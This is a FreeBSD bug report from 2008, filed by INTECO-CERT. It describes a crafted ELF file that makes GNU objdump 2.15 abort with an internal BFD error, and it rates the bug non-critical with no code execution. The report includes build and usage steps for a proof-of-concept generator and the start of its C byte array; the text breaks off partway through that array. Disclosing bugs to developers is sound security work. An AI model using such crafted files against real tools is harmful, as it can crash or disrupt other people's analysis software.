bin/120946: GNU objdump 2.15 [FreeBSD] 2004-05-23 shows: ... "BFD: Please report this bug." While analyzing crafted ELF.

David Reguera García david.reguera at inteco.es
Thu Feb 21 13:20:03 UTC 2008


>Number:         120946
>Category:       bin
>Synopsis:       GNU objdump 2.15 [FreeBSD] 2004-05-23 shows: ... "BFD: Please report this bug."  While analyzing crafted ELF.
>Confidential:   no
>Severity:       non-critical
>Priority:       low
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Thu Feb 21 13:20:03 UTC 2008
>Closed-Date:
>Last-Modified:
>Originator:     David Reguera García
>Release:        6.2, 6.3
>Organization:
INTECO-CERT
>Environment:
>Description:
/*
    Advisory: GNU objdump 2.15 [FreeBSD] 2004-05-23 shows:
        BFD: BFD 2.15 [FreeBSD] 2004-05-23 internal error, aborting at 
        /usr/src/gnu/usr.bin/binutils/libbfd/../../../../contrib/binutils/bfd/
        elfcode.h line 188 in bfd_elf32_swap_symbol_in
        
        BFD: Please report this bug.
        
    While analyzing crafted ELF.
    
    Note: this bug (in my opinion) is irrelevant, the exception is captured 
    by the library exception handler. I am reporting it because of the 
    message: 
        BFD: Please report this bug.
    
    Affected Version:
        GNU objdump 2.15 [FreeBSD] 2004-05-23 [TESTED & FOUND]
    
    Affected OS:
        FreeBSD 6.3 [TESTED & FOUND]
        FreeBSD 6.2 [TESTED & FOUND]
    
    Discovered By  : INTECO-CERT, David Reguera Garcia, david.reguera at inteco.es
    POC exploit by : INTECO-CERT, David Reguera Garcia, david.reguera at inteco.es
    
    Remote              : NO
    Execution of code   : NO
    Privilege scalation : NO

    Compile:
        gcc -ansi-c -pedantic -o xpl xpl.c
        
    Usage:
        Dreg:~# ./xpl evil_elf_objdump
            Evil ELF Generator for GNU objdump 2.15 [FreeBSD] 2004-05-23
            This ELF generates a message BFD: BFD 2.15 [FreeBSD] 2004-05-23
            internal error, aborting at /usr/src/gnu/usr.bin/binutils/libbfd/
            ../../../../contrib/binutils/bfd/elfcode.h line 188 in
            bfd_elf32_swap_symbol_in
            BFD: Please report this bug.
            -
            INTECO-CERT, David Reguera Garcia - david.reguera at inteco.es
            http://cert.inteco.es
            
            
            Generated evil ELF: evil_elf_objdump
        
        Dreg:~# objdump -D ./evil_elf_objdump

        ./evil_elf_objdump:     file format elf32-i386-freebsd
        
        BFD: BFD 2.15 [FreeBSD] 2004-05-23 internal error, aborting at 
        /usr/src/gnu/usr.bin/binutils/libbfd/../../../../contrib/binutils/bfd/
        elfcode.h line 188 in bfd_elf32_swap_symbol_in
        
        BFD: Please report this bug.
*/
>How-To-Repeat:
#define DEFAULT_EVILEF_NAME "evil_elf"
#define NR_MIN_ARGS         2
#define NR_EVILEF_NAME      1

#include <stdio.h>

unsigned char payload[] =
{
    0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x09, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x39, 0x86, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xF0, 0x18, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x06, 0x00, 0x28, 0x00, 
    0x18, 0x00, 0x15, 0x00, 0x06, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 
    0x34, 0x80, 0x04, 0x08, 0x34, 0x80, 0x04, 0x08, 0xC0, 0x00, 0x00, 0x00, 
    0xC0, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x80, 0x04, 0x08, 
    0xF4, 0x80, 0x04, 0x08, 0x15, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 
    0x39, 0x06, 0x00, 0x00, 0x39, 0x06, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 
    0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x3C, 0x06, 0x00, 0x00, 
    0x3C, 0x96, 0x04, 0x08, 0x3C, 0x96, 0x04, 0x08, 0xD8, 0x00, 0x00, 0x00, 
    0xF8, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 
    0x02, 0x00, 0x00, 0x00, 0x4C, 0x06, 0x00, 0x00, 0x4C, 0x96, 0x04, 0x08, 
    0x4C, 0x96, 0x04, 0x08, 0x98, 0x00, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 
    0x06, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x0C, 0x01, 0x00, 0x00, 0x0C, 0x81, 0x04, 0x08, 0x0C, 0x81, 0x04, 0x08, 
    0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x2F, 0x6C, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 
    0x2F, 0x6C, 0x64, 0x2D, 0x65, 0x6C, 0x66, 0x2E, 0x73, 0x6F, 0x2E, 0x31, 
    0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x46, 0x72, 0x65, 0x65, 0x42, 0x53, 0x44, 0x00, 
    0x78, 0x33, 0x09, 0x00, 0x11, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 
    0x0F, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 
    0x4C, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0xF1, 0xFF, 
    0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x00, 0x00, 0x00, 
    0x12, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0xA0, 0x83, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x07, 0x00, 0x1F, 0x00, 0x00, 0x00, 
    0x30, 0x97, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x11, 0x00, 0x13, 0x00, 
    0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x20, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x3C, 0x96, 0x04, 0x08, 
    0x04, 0x00, 0x00, 0x00, 0x11, 0x00, 0x0C, 0x00, 0xA8, 0x00, 0x00, 0x00, 
    0x14, 0x97, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0xF1, 0xFF, 
    0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 
    0x12, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x88, 0x85, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x0A, 0x00, 0x5A, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 
    0xA1, 0x00, 0x00, 0x00, 0x14, 0x97, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x10, 0x00, 0xF1, 0xFF, 0x61, 0x00, 0x00, 0x00, 0xF8, 0x96, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0xF1, 0xFF, 0xB4, 0x00, 0x00, 0x00, 
    0x34, 0x97, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0xF1, 0xFF, 
    0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 
    0x12, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 
    0x00, 0x6C, 0x69, 0x62, 0x63, 0x2E, 0x73, 0x6F, 0x2E, 0x36, 0x00, 0x5F, 
    0x44, 0x59, 0x4E, 0x41, 0x4D, 0x49, 0x43, 0x00, 0x70, 0x75, 0x74, 0x73, 
    0x00, 0x5F, 0x69, 0x6E, 0x69, 0x74, 0x00, 0x65, 0x6E, 0x76, 0x69, 0x72, 
    0x6F, 0x6E, 0x00, 0x5F, 0x5F, 0x64, 0x65, 0x72, 0x65, 0x67, 0x69, 0x73, 
    0x74, 0x65, 0x72, 0x5F, 0x66, 0x72, 0x61, 0x6D, 0x65, 0x5F, 0x69, 0x6E, 
    0x66, 0x6F, 0x00, 0x5F, 0x5F, 0x70, 0x72, 0x6F, 0x67, 0x6E, 0x61, 0x6D, 
    0x65, 0x00, 0x5F, 0x69, 0x6E, 0x69, 0x74, 0x5F, 0x74, 0x6C, 0x73, 0x00, 
    0x5F, 0x66, 0x69, 0x6E, 0x69, 0x00, 0x61, 0x74, 0x65, 0x78, 0x69, 0x74, 
    0x00, 0x5F, 0x47, 0x4C, 0x4F, 0x42, 0x41, 0x4C, 0x5F, 0x4F, 0x46, 0x46, 
    0x53, 0x45, 0x54, 0x5F, 0x54, 0x41, 0x42, 0x4C, 0x45, 0x5F, 0x00, 0x5F, 
    0x4A, 0x76, 0x5F, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x43, 
    0x6C, 0x61, 0x73, 0x73, 0x65, 0x73, 0x00, 0x5F, 0x5F, 0x72, 0x65, 0x67, 
    0x69, 0x73, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x72, 0x61, 0x6D, 0x65, 0x5F, 
    0x69, 0x6E, 0x66, 0x6F, 0x00, 0x5F, 0x65, 0x64, 0x61, 0x74, 0x61, 0x00, 
    0x5F, 0x5F, 0x62, 0x73, 0x73, 0x5F, 0x73, 0x74, 0x61, 0x72, 0x74, 0x00, 
    0x5F, 0x65, 0x6E, 0x64, 0x00, 0x00, 0x00, 0x00, 0x04, 0x97, 0x04, 0x08, 
    0x07, 0x02, 0x00, 0x00, 0x08, 0x97, 0x04, 0x08, 0x07, 0x08, 0x00, 0x00, 
    0x0C, 0x97, 0x04, 0x08, 0x07, 0x0A, 0x00, 0x00, 0x10, 0x97, 0x04, 0x08, 
    0x07, 0x0E, 0x00, 0x00, 0x83, 0xEC, 0x0C, 0xE8, 0x3C, 0x01, 0x00, 0x00, 
    0xE8, 0xB7, 0x01, 0x00, 0x00, 0x83, 0xC4, 0x0C, 0xC3, 0x00, 0x00, 0x00, 
    0xFF, 0x35, 0xFC, 0x96, 0x04, 0x08, 0xFF, 0x25, 0x00, 0x97, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0xFF, 0x25, 0x04, 0x97, 0x04, 0x08, 0x68, 0x00, 
    0x00, 0x00, 0x00, 0xE9, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x08, 0x97, 
    0x04, 0x08, 0x68, 0x08, 0x00, 0x00, 0x00, 0xE9, 0xD0, 0xFF, 0xFF, 0xFF, 
    0xFF, 0x25, 0x0C, 0x97, 0x04, 0x08, 0x68, 0x10, 0x00, 0x00, 0x00, 0xE9, 
    0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x10, 0x97, 0x04, 0x08, 0x68, 0x18, 
    0x00, 0x00, 0x00, 0xE9, 0xB0, 0xFF, 0xFF, 0xFF, 0x55, 0x89, 0xE5, 0x57, 
    0x56, 0x53, 0x83, 0xEC, 0x0C, 0x83, 0xE4, 0xF0, 0x8B, 0x5D, 0x04, 0x89, 
    0xD7, 0x8D, 0x74, 0x9D, 0x0C, 0x85, 0xDB, 0x89, 0x35, 0x30, 0x97, 0x04, 
    0x08, 0x7E, 0x24, 0x8B, 0x45, 0x08, 0x85, 0xC0, 0x74, 0x1D, 0xA3, 0x3C, 
    0x96, 0x04, 0x08, 0x89, 0xC1, 0x8A, 0x01, 0x84, 0xC0, 0x74, 0x10, 0x90, 
    0x3C, 0x2F, 0x8D, 0x51, 0x01, 0x74, 0x45, 0x89, 0xD1, 0x8A, 0x01, 0x84, 
    0xC0, 0x75, 0xF1, 0xB8, 0x4C, 0x96, 0x04, 0x08, 0x85, 0xC0, 0x74, 0x3E, 
    0x83, 0xEC, 0x0C, 0x57, 0xE8, 0x8B, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x10, 
    0x83, 0xEC, 0x0C, 0x68, 0x88, 0x85, 0x04, 0x08, 0xE8, 0x7B, 0xFF, 0xFF, 
    0xFF, 0xE8, 0x32, 0xFF, 0xFF, 0xFF, 0x50, 0x56, 0x8D, 0x45, 0x08, 0x50, 
    0x53, 0xE8, 0xB6, 0x00, 0x00, 0x00, 0x83, 0xC4, 0x14, 0x50, 0xE8, 0x71, 
    0xFF, 0xFF, 0xFF, 0x90, 0x89, 0xD1, 0x89, 0x15, 0x3C, 0x96, 0x04, 0x08, 
    0xEB, 0xB3, 0xE8, 0x41, 0xFF, 0xFF, 0xFF, 0xEB, 0xC7, 0x90, 0x90, 0x90, 
    0x55, 0x89, 0xE5, 0x83, 0xEC, 0x08, 0x80, 0x3D, 0x14, 0x97, 0x04, 0x08, 
    0x00, 0x74, 0x0F, 0xEB, 0x38, 0x8D, 0x76, 0x00, 0x83, 0xC0, 0x04, 0xA3, 
    0x44, 0x96, 0x04, 0x08, 0xFF, 0xD2, 0xA1, 0x44, 0x96, 0x04, 0x08, 0x8B, 
    0x10, 0x85, 0xD2, 0x75, 0xEB, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC0, 
    0x74, 0x10, 0x83, 0xEC, 0x0C, 0x68, 0x48, 0x96, 0x04, 0x08, 0xE8, 0x29, 
    0x7B, 0xFB, 0xF7, 0x83, 0xC4, 0x10, 0xC6, 0x05, 0x14, 0x97, 0x04, 0x08, 
    0x01, 0xC9, 0xC3, 0x90, 0x55, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x89, 0xE5, 
    0x83, 0xEC, 0x08, 0x85, 0xC0, 0x74, 0x15, 0x83, 0xEC, 0x08, 0x68, 0x18, 
    0x97, 0x04, 0x08, 0x68, 0x48, 0x96, 0x04, 0x08, 0xE8, 0xFB, 0x7A, 0xFB, 
    0xF7, 0x83, 0xC4, 0x10, 0xA1, 0xF4, 0x96, 0x04, 0x08, 0x85, 0xC0, 0x74, 
    0x1B, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x12, 0x83, 0xEC, 
    0x0C, 0x68, 0xF4, 0x96, 0x04, 0x08, 0xE8, 0xD9, 0x7A, 0xFB, 0xF7, 0x83, 
    0xC4, 0x10, 0x89, 0xF6, 0xC9, 0xC3, 0x90, 0x90, 0x55, 0x89, 0xE5, 0x83, 
    0xEC, 0x08, 0x83, 0xE4, 0xF0, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x83, 0xC0, 
    0x0F, 0x83, 0xC0, 0x0F, 0xC1, 0xE8, 0x04, 0xC1, 0xE0, 0x04, 0x29, 0xC4, 
    0x83, 0xEC, 0x0C, 0x68, 0xDF, 0x85, 0x04, 0x08, 0xE8, 0x6B, 0xFE, 0xFF, 
    0xFF, 0x83, 0xC4, 0x10, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xC3, 0x90, 
    0x55, 0x89, 0xE5, 0x53, 0x52, 0xBB, 0xE4, 0x96, 0x04, 0x08, 0xA1, 0xE4, 
    0x96, 0x04, 0x08, 0xEB, 0x0A, 0x8D, 0x76, 0x00, 0x83, 0xEB, 0x04, 0xFF, 
    0xD0, 0x8B, 0x03, 0x83, 0xF8, 0xFF, 0x75, 0xF4, 0x58, 0x5B, 0xC9, 0xC3, 
    0x83, 0xEC, 0x0C, 0xE8, 0x08, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x0C, 0xC3, 
    0x00, 0x24, 0x46, 0x72, 0x65, 0x65, 0x42, 0x53, 0x44, 0x3A, 0x20, 0x73, 
    0x72, 0x63, 0x2F, 0x6C, 0x69, 0x62, 0x2F, 0x63, 0x73, 0x75, 0x2F, 0x69, 
    0x33, 0x38, 0x36, 0x2D, 0x65, 0x6C, 0x66, 0x2F, 0x63, 0x72, 0x74, 0x69, 
    0x2E, 0x53, 0x2C, 0x76, 0x20, 0x31, 0x2E, 0x37, 0x20, 0x32, 0x30, 0x30, 
    0x35, 0x2F, 0x30, 0x35, 0x2F, 0x31, 0x39, 0x20, 0x30, 0x37, 0x3A, 0x33, 
    0x31, 0x3A, 0x30, 0x36, 0x20, 0x64, 0x66, 0x72, 0x20, 0x45, 0x78, 0x70, 
    0x20, 0x24, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x1D, 0x50, 0x00, 0x1E, 0xD0, 0x50, 0x00, 0x00, 
    0x08, 0x1E, 0xD0, 0x50, 0x00, 0x00, 0x08, 0x1E, 0xD0, 0x50, 0x00, 0x00, 
    0x0F, 0x63, 0x73, 0x75, 0x2F, 0x69, 0x33, 0x38, 0x36, 0x2D, 0x65, 0x6C, 
    0x66, 0x2F, 0x63, 0x72, 0x74, 0x6E, 0x2E, 0x53, 0x2C, 0x76, 0x20, 0x31, 
    0x2E, 0x36, 0x20, 0x32, 0x30, 0x30, 0x35, 0x2F, 0x30, 0x35, 0x2F, 0x31, 
    0x39, 0x20, 0x30, 0x37, 0x3A, 0x33, 0x31, 0x3A, 0x30, 0x36, 0x20, 0x64, 
    0x66, 0x72, 0x20, 0x45, 0x78, 0x70, 0x20, 0x24, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
    0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
